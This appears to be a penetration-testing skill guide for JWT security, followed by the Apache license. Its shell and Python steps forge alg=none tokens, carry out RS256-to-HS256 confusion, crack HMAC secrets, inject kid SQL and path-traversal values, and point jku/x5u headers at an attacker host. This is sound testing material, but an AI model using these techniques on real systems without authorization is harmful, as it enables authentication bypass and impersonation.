--- name: testing-jwt-token-security-598c4d827f55 description: Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - jwt - authentication - web-security - token-security - burpsuite version: '1.0' author: Krishna Kumar (xalgord) license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Testing JWT Token Security ## When to Use - During authorized penetration tests when the application uses JWT for authentication or authorization - When assessing API security where JWTs are passed as Bearer tokens or in cookies - For evaluating SSO implementations that use JWT/JWS/JWE tokens - When testing OAuth 2.0 or OpenID Connect flows that issue JWTs - During security audits of microservice architectures using JWT for inter-service authentication ### How to CONFIRM a Hit (avoid false negatives) - **Positive signal**: a token YOU forged (alg=none, RS256→HS256 confusion, cracked HMAC secret, or kid/jku/x5u abuse) is **ACCEPTED by a protected endpoint** — returns 200 plus privileged data for the impersonated identity. Decoding or editing the token alone is not a finding. - Confirm by calling a real authz-gated route with the forged token and verifying the restricted resource comes back, not a login page, 401, or 403. - A 200 to an unauthenticated route is NOT a hit; one 401/403 is NOT a clean negative until you have exhausted the attack variants below. - Do NOT conclude "not vulnerable" until you have tried: - **alg none** in all casings (`none`/`None`/`NONE`/`nOnE`) with an empty signature. - **algorithm confusion**: HS256 signed with the server's RSA public key (obtain it from JWKS/`openid-configuration`/TLS cert and convert to PEM first). - **weak secret cracking** (jwt_tool/hashcat mode 16500); on success, forge and confirm acceptance. - **kid injection** (path traversal to empty key, SQLi) and **jku/x5u** pointing to attacker-hosted keys. - **claim tampering** (role/sub/permissions) re-signed with the recovered key, plus **expired** and **post-logout/post-password-change** replay to check revocation. ## Prerequisites - **Authorization**: Written penetration testing agreement for the target - **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https://github.com/ticarpi/jwt_tool.git`) - **Burp Suite Professional**: With JSON Web Token extension from BApp Store - **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`) - **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`) - **jq**: For JSON processing - **Target JWT**: A valid JWT token from the application ## Workflow ### Step 1: Decode and Analyze the JWT Structure Extract and examine the header, payload, and signature components. ```bash # Decode JWT parts (base64url decode) JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" # Decode header echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq . # Output: {"alg":"HS256","typ":"JWT"} # Decode payload echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Output: {"sub":"1234567890","name":"John Doe","iat":1516239022} # Using jwt_tool for comprehensive analysis python3 jwt_tool.py "$JWT" # Check for sensitive data in the payload: # - PII (email, phone, address) # - Internal IDs or database references # - Role/permission claims # - Expiration times (exp, nbf, iat) # - Issuer (iss) and audience (aud) ``` ### Step 2: Test Algorithm None Attack Attempt to forge tokens by setting the algorithm to "none". ```bash # jwt_tool algorithm none attack python3 jwt_tool.py "$JWT" -X a # Manual none algorithm attack # Create header: {"alg":"none","typ":"JWT"} HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_') # Create modified payload (change role to admin) PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_') # Construct token with empty signature FORGED_JWT="${HEADER}.${PAYLOAD}." echo "Forged JWT: $FORGED_JWT" # Test the forged token curl -s -H "Authorization: Bearer $FORGED_JWT" \ "https://target.example.com/api/admin/users" | jq . # Try variations: "None", "NONE", "nOnE" for alg in none None NONE nOnE; do HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_') FORGED="${HEADER}.${PAYLOAD}." echo -n "alg=$alg: " curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer $FORGED" \ "https://target.example.com/api/admin/users" echo done ``` ### Step 3: Test Algorithm Confusion (RS256 to HS256) If the server uses RS256, try switching to HS256 and signing with the public key. ```bash # Step 1: Obtain the server's public key # Check common locations curl -s "https://target.example.com/.well-known/jwks.json" | jq . curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri curl -s "https://target.example.com/oauth/certs" | jq . # Step 2: Extract public key from JWKS # Save the JWKS and convert to PEM format # Use jwt_tool or openssl # Step 3: jwt_tool key confusion attack python3 jwt_tool.py "$JWT" -X k -pk public_key.pem # Manual algorithm confusion attack with Python python3 << 'PYEOF' import jwt import json # Read the server's RSA public key with open('public_key.pem', 'r') as f: public_key = f.read() # Create forged payload payload = { "sub": "1234567890", "name": "Admin User", "role": "admin", "iat": 1516239022, "exp": 9999999999 } # Sign with HS256 using the RSA public key as the HMAC secret forged_token = jwt.encode(payload, public_key, algorithm='HS256') print(f"Forged token: {forged_token}") PYEOF # Test the forged token curl -s -H "Authorization: Bearer $FORGED_TOKEN" \ "https://target.example.com/api/admin/users" ``` ### Step 4: Brute-Force HMAC Secret If HS256 is used, attempt to crack the signing secret. ```bash # Using jwt_tool with common secrets python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt # Using hashcat for GPU-accelerated cracking # Mode 16500 = JWT (HS256) hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt # Using john the ripper echo "$JWT" > jwt_hash.txt john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 # If secret is found, forge arbitrary tokens python3 << 'PYEOF' import jwt secret = "cracked_secret_here" payload = { "sub": "1", "name": "Admin", "role": "admin", "exp": 9999999999 } token = jwt.encode(payload, secret, algorithm='HS256') print(f"Forged token: {token}") PYEOF ``` ### Step 5: Test JWT Claim Manipulation and Injection Modify JWT claims to escalate privileges or bypass authorization. ```bash # Using jwt_tool for claim tampering # Change role claim python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \ -pc role -pv admin # Test common claim attacks: # 1. JKU (JWK Set URL) injection python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json" # Host attacker-controlled JWKS at the URL # 2. KID (Key ID) injection # SQL injection in kid parameter python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p "" # If kid is used in file path lookup, point to /dev/null (empty key) # SQL injection via kid python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret" # 3. x5u (X.509 URL) injection python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem" # 4. Modify subject and role claims python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \ -pc sub -pv "admin@target.com" \ -pc role -pv "superadmin" ``` ### Step 6: Test Token Lifetime and Revocation Assess token expiration enforcement and revocation capabilities. ```bash # Test expired token acceptance python3 << 'PYEOF' import jwt import time secret = "known_secret" # Create token that expired 1 hour ago payload = { "sub": "user123", "role": "user", "exp": int(time.time()) - 3600, "iat": int(time.time()) - 7200 } expired_token = jwt.encode(payload, secret, algorithm='HS256') print(f"Expired token: {expired_token}") PYEOF curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \ "https://target.example.com/api/profile" -w "%{http_code}" # Test token with far-future expiration python3 << 'PYEOF' import jwt secret = "known_secret" payload = { "sub": "user123", "role": "user", "exp": 32503680000 # Year 3000 } long_lived = jwt.encode(payload, secret, algorithm='HS256') print(f"Long-lived token: {long_lived}") PYEOF # Test token reuse after logout # 1. Capture JWT before logout # 2. Log out (call /auth/logout) # 3. Try using the captured JWT again curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \ "https://target.example.com/api/profile" -w "%{http_code}" # If 200, tokens are not revoked on logout # Test token reuse after password change # Similar test: capture JWT, change password, reuse old JWT ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` | | **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret | | **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force | | **JKU/x5u Injection** | Pointing JWT header URLs to attacker-controlled key servers | | **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter | | **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key | | **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration | | **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) | ## Tools & Systems | Tool | Purpose | |------|---------| | **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules | | **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation | | **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) | | **John the Ripper** | CPU-based JWT secret cracking | | **PyJWT** | Python library for programmatic JWT creation and manipulation | | **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) | ## Common Scenarios ### Scenario 1: Algorithm None Bypass The JWT library accepts `"alg":"none"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header. ### Scenario 2: Weak HMAC Secret The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation. ### Scenario 3: Algorithm Confusion on SSO An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256. ### Scenario 4: KID SQL Injection The `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key. ## Output Format ``` ## JWT Security Finding **Vulnerability**: JWT Algorithm Confusion (RS256 to HS256) **Severity**: Critical (CVSS 9.8) **Location**: Authorization header across all API endpoints **OWASP Category**: A02:2021 - Cryptographic Failures ### JWT Configuration | Property | Value | |----------|-------| | Algorithm | RS256 (also accepts HS256) | | Issuer | auth.target.example.com | | Expiration | 24 hours | | Public Key | Available at /.well-known/jwks.json | | Revocation | Not implemented | ### Attacks Confirmed | Attack | Result | |--------|--------| | Algorithm None | Blocked | | Algorithm Confusion (RS256→HS256) | VULNERABLE | | HMAC Brute Force | N/A (RSA) | | KID Injection | Not present | | Expired Token Reuse | Accepted (no revocation) | ### Impact - Complete authentication bypass via forged admin tokens - Any user can escalate to any role by forging JWT claims - Tokens remain valid after logout (no server-side revocation) ### Recommendation 1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms) 2. Use asymmetric algorithms (RS256/ES256) with proper key management 3. Implement token revocation via a blocklist or short expiration with refresh tokens 4. Validate all JWT claims server-side (iss, aud, exp, nbf) 5. Use a minimum key length of 256 bits for HMAC secrets ``` --- Source attribution: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-jwt-token-security/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Dave AI. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright 2026 xalgord Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Dave AI resource metadata Creator / publisher: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-jwt-token-security/SKILL.md Attribution basis: Source repository record Fields of work: Data & Analytics, Development & Engineering Roles: Data Analyst, Security Engineer Specialties: API, Testing Tools: Hashcat, Jwt_Tool, Python Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: b51028b080291430829cb936d65fc7dc4a7a6aea362abdb5d6538e56570222cf